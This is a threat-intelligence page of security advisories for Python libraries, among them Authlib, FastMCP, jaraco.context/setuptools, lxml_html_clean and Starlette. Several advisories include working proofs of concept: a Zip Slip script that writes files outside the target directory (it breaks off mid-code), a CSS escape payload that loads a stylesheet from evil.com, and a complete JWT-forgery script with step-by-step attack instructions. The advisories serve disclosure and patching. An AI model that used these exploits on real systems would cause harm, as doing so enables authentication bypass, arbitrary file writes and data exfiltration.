Threat Intelligence Database

A cryptographic padding oracle vulnerability (CVE-2026-28490) exists in the Authlib Python library's implementation of the JSON Web Encryption (JWE) RSA1_5 key management algorithm. Authlib disables the Bleichenbacher padding oracle mitigation provided by the underlying cryptography library by raising a distinct exception on invalid padding, creating a reliable exception oracle. This vulnerability is active by default in all Authlib installations without special configuration. The vulnerability was confirmed on Authlib 1.6.8 with cryptography 46.0.5. A fix is available.

A critical vulnerability in the Authlib Python library used by kimi-cli allows bypassing cryptographic verification of OIDC ID Token hash claims. The flaw causes the library to incorrectly accept tokens with unsupported cryptographic algorithms by returning a successful validation result instead of failing. This enables token substitution attacks in OIDC Hybrid or Implicit flows, violating OpenID Connect and JWT specifications. A patch is available to enforce a fail-closed behavior on unsupported algorithms.

The kimi-cli FastMCP authentication integration allows a confused deputy attack leading to account takeover. The FastMCP server acts both as an OAuth client to a downstream authorization server (e.g., Entra ID) and as an authorization server to its clients. Due to the use of a static client registration in Entra ID and persistent user consent cookies, an attacker controlling their own MCP client can leverage the victim's prior consent to the static client to bypass re-authorization prompts. This enables the attacker to obtain authorization codes and potentially take over the victim's account. A patch is available for this vulnerability.

FastMCP versions prior to 2.14.0 allowed usage of MCP SDK versions earlier than 1.23, which are vulnerable to CVE-2025-66416. FastMCP itself does not directly use the affected MCP SDK components. Users should upgrade to FastMCP 2.14.0 or later to avoid exposure to this vulnerability.

### Summary There is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in `jaraco.context.tarball()` function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`. Note that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`. The code can be found: - https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91 - https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76 (inherited) This report was also sent to setuptools maintainers and they asked some questions regarding this. The lengthy answer is: The vulnerability seems to be the `strip_first_component` filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball). The stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization. The short answer is: If we are talking about Python < 3.12 the tarball and jaraco implementations / behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection. Sampled tests: <img width="1634" height="245" alt="image" src="https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb" /> ### Details The flow with setuptools in the mix: ``` setuptools._vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|*') as tf: > tf.extractall(path=target_dir, filter=strip_first_component) > strip_first_component (Vulnerable) ``` ### PoC This was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm). You can run this directly after having all the dependencies: ```py #!/usr/bin/env python3 import tarfile import io import os import sys import shutil import tempfile from setuptools._vendor.jaraco.context import strip_first_component def create_malicious_tarball(traversal_to_root: str): tar_data = io.BytesIO() with tarfile.open(fileobj=tar_data, mode='w') as tar: # Create a malicious file path with traversal sequences malicious_files = [ # Attempt 1: Simple traversal to /tmp { 'path': f'dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt', 'content': b'[ZIPSLIP] File written to /tmp via path traversal!', 'name': 'pwned_via_tmp' }, # Attempt 2: Try to write to home directory { 'path': f'dummy_dir/{traversal_to_root}home/pwned_home.txt', 'content': b'[ZIPSLIP] Attempted write to home directory', 'name': 'pwned_via_home' }, # Attempt 3: Try to write to current directory parent { 'path': 'dummy_dir/../escaped.txt', 'content': b'[ZIPSLIP] File in parent directory!', 'name': 'pwned_escaped' }, # Attempt 4: Legitimate file for comparison { 'path': 'dummy_dir/legitimate_file.txt', 'content': b'This file stays in target directory', 'name': 'legitimate' } ] for file_info in malicious_files: content = file_info['content'] tarinfo = tarfile.TarInfo(name=file_info['path']) tarinfo.size = len(content) tar.addfile(tarinfo, io.BytesIO(content)) tar_data.seek(0) return tar_data def exploit_zipslip(): print(\"[*] Target: setuptools._vendor.jaraco.context.tarball()\") # Create temporary directory for extraction temp_base = tempfile.mkdtemp(prefix=\"zipslip_test_\") target_dir = os.path.join(temp_base, \"extraction_target\") try: os.mkdir(target_dir) print(f\"[+] Created target extraction directory: {target_dir}\") target_dir_abs = os.path.abspath(target_dir) print(target_dir_abs) depth_to_root = len([p for p in target_dir_abs.split(os.sep) if p]) traversal_to_root = \"../\" * depth_to_root print(f\"[+] Using traversal_to_root prefix: {traversal_to_root!r}\") # Create malicious tarball print(\"[*] Creating malicious tar archive...\") tar_data = create_malicious_tarball(tra

### Summary A Path Traversal vulnerability exists when using non-default configuration options `UPLOAD_DIR` and `UPLOAD_KEEP_FILENAME=True`. An attacker can write uploaded files to arbitrary locations on the filesystem by crafting a malicious filename. ### Details When `UPLOAD_DIR` is set and `UPLOAD_KEEP_FILENAME` is `True`, the library constructs the file path using `os.path.join(file_dir, fname)`. Due to the behavior of `os.path.join()`, if the filename begins with a `/`, all preceding path components are discarded: ```py os.path.join("/upload/dir", "/etc/malicious") == "/etc/malicious" ``` This allows an attacker to bypass the intended upload directory and write files to arbitrary paths. #### Affected Configuration Projects are only affected if all of the following are true: - `UPLOAD_DIR` is set - `UPLOAD_KEEP_FILENAME` is set to True - The uploaded file exceeds `MAX_MEMORY_FILE_SIZE` (triggering a flush to disk) The default configuration is not vulnerable. #### Impact Arbitrary file write to attacker-controlled paths on the filesystem. #### Mitigation Upgrade to version 0.0.22, or avoid using `UPLOAD_KEEP_FILENAME=True` in project configurations.

### Summary The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers. ### Details The root cause is located in `clean.py` (around line 594): ```python style = style.replace('\\', '') ``` This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement. Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only). ### PoC ```python from lxml_html_clean import clean_html # Normal @import is correctly blocked: # clean_html('<style>@import url("http://evil.com/x.css");</style>') # Output: <div><style> url("http://evil.com/x.css");</style></div> # Unicode escape bypass: result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>') print(result) # Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div> ``` If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work. ### Impact External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.

## Description ### Summary A JWK Header Injection vulnerability in `authlib`'s JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT `jwk` header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely. This behavior violates **RFC 7515 §4.1.3** and the validation algorithm defined in **RFC 7515 §5.2**. ### Details **Vulnerable file:** `authlib/jose/rfc7515/jws.py` **Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()` **Lines:** 272–273 ```python elif key is None and "jwk" in header: key = header["jwk"] # ← attacker-controlled key used for verification ``` When `key=None` is passed to `jws.deserialize_compact()`, `jws.deserialize_json()`, or `jws.deserialize()`, the library checks the JWT header for a `jwk` field. If present, it extracts that value — which is fully attacker-controlled — and uses it as the verification key. **RFC 7515 violations:** - **§4.1.3** explicitly states the `jwk` header parameter is **"NOT RECOMMENDED"** because keys embedded by the token submitter cannot be trusted as a verification anchor. - **§5.2 (Validation Algorithm)** specifies the verification key MUST come from the *application context*, not from the token itself. There is no step in the RFC that permits falling back to the `jwk` header when no application key is provided. **Why this is a library issue, not just a developer mistake:** The most common real-world trigger is a **key resolver callable** used for JWKS-based key lookup. A developer writes: ```python def lookup_key(header, payload): kid = header.get("kid") return jwks_cache.get(kid) # returns None when kid is unknown/rotated jws.deserialize_compact(token, lookup_key) ``` When an attacker submits a token with an unknown `kid`, the callable legitimately returns `None`. The library then silently falls through to `key = header["jwk"]`, trusting the attacker's embedded key. The developer never wrote `key=None` — the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible. **Attack steps:** 1. Attacker generates an RSA or EC keypair. 2. Attacker crafts a JWT payload with any desired claims (e.g. `{"role": "admin"}`). 3. Attacker signs the JWT with their **private** key. 4. Attacker embeds their **public** key in the JWT `jwk` header field. 5. Attacker uses an unknown `kid` to cause the key resolver to return `None`. 6. The library uses `header["jwk"]` for verification — signature passes. 7. Forged claims are returned as authentic. ### PoC Tested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11). **Requirements:** ``` pip install authlib cryptography ``` **Exploit script:** ```python from authlib.jose import JsonWebSignature, RSAKey import json jws = JsonWebSignature(["RS256"]) # Step 1: Attacker generates their own RSA keypair attacker_private = RSAKey.generate_key(2048, is_private=True) attacker_public_jwk = attacker_private.as_dict(is_private=False) # Step 2: Forge a JWT with elevated privileges, embed public key in header header = {"alg": "RS256", "jwk": attacker_public_jwk} forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode() forged_token = jws.serialize_compact(header, forged_payload, attacker_private) # Step 3: Server decodes with key=None — token is accepted result = jws.deserialize_compact(forged_token, None) claims = json.loads(result["payload"]) print(claims) # {'sub': 'attacker', 'role': 'admin'} assert claims["role"] == "admin" # PASSES ``` **Expected output:** ``` {'sub': 'attacker', 'role': 'admin'} ``` **Docker (self-contained reproduction):** ```bash sudo docker run --rm authlib-cve-poc:latest \ python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py ``` ### Impact This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when: - `key=None` is passed directly, **or** - a key resolver callable returns `None` for unknown/rotated `kid` values (the common JWKS lookup pattern) An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one — no exception is raised. This is a violation of **RFC 7515 §4.1.3** and **§5.2**. The spec is unambiguous: the `jwk` header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from the application context, not the token itself. **Minimal fix** — remove the fal

### Summary A denial of service vulnerability exists when parsing crafted `multipart/form-data` requests with large preamble or epilogue sections. ### Details Two inefficient multipart parsing paths could be abused with attacker-controlled input. Before the first multipart boundary, the parser handled leading CR and LF bytes inefficiently while searching for the start of the first part. After the closing boundary, the parser continued processing trailing epilogue data instead of discarding it immediately. As a result, parsing time could grow with the size of crafted data placed before the first boundary or after the closing boundary. ### Impact An attacker can send oversized malformed multipart bodies that consume excessive CPU time during request parsing, reducing request-handling capacity and delaying legitimate requests. This issue degrades availability but does not typically result in a complete denial of service for the entire application. ### Mitigation Upgrade to version `0.0.26` or later, which skips ahead to the next boundary candidate when processing leading CR/LF data and immediately discards epilogue data after the closing boundary.

### Summary When dispatching a request, `HTTPEndpoint` selects the handler by lowercasing the HTTP method and looking it up as an attribute with `getattr`, without restricting the lookup to a known set of HTTP verbs. When an `HTTPEndpoint` subclass is registered through `Route(...)` without an explicit `methods=` argument, the route does not constrain the method and every method reaches the endpoint. If a non-standard HTTP method whose lowercased name matches an attribute on the endpoint subclass reaches the endpoint, that attribute is invoked as if it were a request handler. An attacker can use this to reach methods that were never meant to be HTTP handlers, such as internal helpers, without the authorization checks applied by the intended public handler. ### Details `HTTPEndpoint` uses the client-supplied method name to resolve an instance attribute, without validating it against the set of HTTP verbs the endpoint supports. A method such as `_DO_DELETE` therefore resolves an attribute like `_do_delete` and invokes it. Non-standard methods are valid [RFC 9110](https://www.rfc-editor.org/rfc/rfc9110#name-method) token methods, so an endpoint must not treat the method name as a trusted attribute selector. ### Impact An application is affected when all of the following hold: * It defines an `HTTPEndpoint` subclass and registers it via `Route(...)` without an explicit `methods=` argument. * The subclass defines additional methods whose names match a non-standard HTTP-method token shape and that accept a single `request` argument and return a response. This also affects frameworks built on Starlette, like FastAPI. ### Mitigation Register `HTTPEndpoint` subclasses with an explicit `methods=` argument on the `Route`, listing only the HTTP verbs the endpoint supports. The route then rejects any other method with `405 Method Not Allowed` before it reaches the endpoint, so non-standard methods cannot resolve an attribute.